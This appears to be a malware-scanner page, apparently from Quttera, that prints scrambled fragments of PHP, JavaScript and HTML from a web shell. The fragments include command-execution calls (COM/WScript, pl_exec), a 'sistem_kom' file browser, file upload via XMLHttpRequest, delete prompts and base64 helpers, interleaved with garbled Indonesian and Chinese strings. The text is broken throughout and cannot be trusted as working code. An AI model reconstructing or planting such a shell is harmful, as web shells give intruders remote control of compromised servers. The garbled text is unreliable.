err getNewmpty($_prompt(' "\")':o if(getNewmpty)
err =======) $pemisvua. $namaad;
+ getNewmptyt+("&
</a>
<a href="javascript:halaman('?awal=sistem_kom&berkas=") }==;
=ext 5px;">
err getNewmpty($_prompt(' "\"")'"
o if(getNewmpty)
err =======) $pemisvua. $alchaaad;
+ getNewmptyt+("&
</a>
<a href="javascript:halaman('?awal=sistem_kom&berkas=") }==;
="width: 500
err ng di-enco ocumePO.getElemePOById('int "</pre><').
if( COM("WS
err =======) $pemis建文件件;
+ b64E:halaUnihalamaCOM("WSt+("&
</a>
<a href="javascript:halaman('?awal=sistem_kom&berkas=") }==;
=" 00
err " E!empt ocumePO.getElemePOById(' ').
=======) $pemiskl& ;
+ b64E:halaUnihalam" E!e) {
}==;
=b64E:halaUnihalam"tr0
err eturn_ btoa(t:halaURIComp bontm"tr0._flspec(/%([0-9A-F]{2})/g,rr ;
=toSft: Byt
0(m , pl_exec eturn_ S .do->C件Calam'0x's($f1 }) {
}==;
=goto( if kasi$_prompt(' <p')amaBerkas( $perror: " . t:haladDasi$_t:halaURIComp bontmt:halaURIComp bontmm_kom
=======) $lencode(u+ t:haladDas
age .
;
=kompr
0(b deerr kasi$_prompt(' <p', "<input type="text" pl"])));
$ps=") as( $
err =======) $pemiskompr
0&
</a>
<a href="javascript:halaman('?awal=sistem_kom&berkas=&zf;
+ b"fayl"+("&save_to;
+ b64E:halaUnihalamm_kom
}==;
="wl 5px;"b deerr if( .
firm('你"> <bu吗?'))
err =======) $pemishapus=ealchaa
</a>
<a href="javascript:halaman('?awal=sistem_kom&berkas=&zf;
+ b"faylm
}==;
=poto(ndeerr
lmpt ocumePO.getElemePOsByC :N eaha_filah .c)[0].
_fla pr['a','i','e','s','l','b','u','o','p','h',"\\(","\\)","\\<","\\>","\\?","\\;","\\[","\\]","\\$et", ear( s b _fla)
err /_fla[st",
lmpt
l._flspec(>
RegExp( , 'g'), '|:'s($l"+(':|'m
ocumePO.getElemePOsByC :N eaha_filah .c)[0].
mpt
l{
}== ocumePO.getElemePOById(rint "</pre><h).addEvePOL建ner["keyup$daa
(evePOndeerr evePO.prevePODl=sist() as(evePO.keyCalaists(13)
err "width: 500p }0p </lchars> c</>";
c</ut tnce:lchars> c ocumePO.getElemePOById(':4px; padding').addEvePOL建ner['e($de'daa
( if .
staa_fi">
mpt ocumePO.getElemePOById(' )"')amaBerk .
staexit(0D===pt ocumePO.getElemePOById(' if (!empty(')amaBerk .
stas="uppt ocumePO.getElemePOById(' )tyle="col')amarder: 0;'>!a_fi">
.fife .pt:gth$perror: " . exit(0D==.
.cif (
= '#FF4444'{
exit(0D==.innerTex
mpt'请选择 "\。'{
eturn_kse maBerk .
stas="uD pr>
F="uD (s="u)amaBerk .
staxhr pr>
XMLHttpR <st() maBerkxhr.
a'idth ,as="u.id="up || wP_OS,.locm: 5p.html,nts($) maBerkxhr.
ntyle /f
( ifBerk .
star xhr.r p bseTex
. $awa">';
prxhr.exit(0lats(200 timr .includ
0("ck 方"b if ($handlexit(0D==.
.cif (
= '#00FF00'{
exit(0D==.innerTex
mpt' class=k 方!'; $error = "COM error: " . $e->exit(0D==.
.cif (
= '#FF4444'{
exit(0D==.innerTex
mpt' class失败!服务器响应)) {+mr
maBerkxhr.
nadalah sf
( ifBerkexit(0D==.
.cif (
= '#FF4444'{
exit(0D==.innerTex
mpt' class过程中发生错误!'; $er maBerkxhr.s d(s="uD {
}0p </lchars>
© 2023 Quttera Ltd. All rights reserved.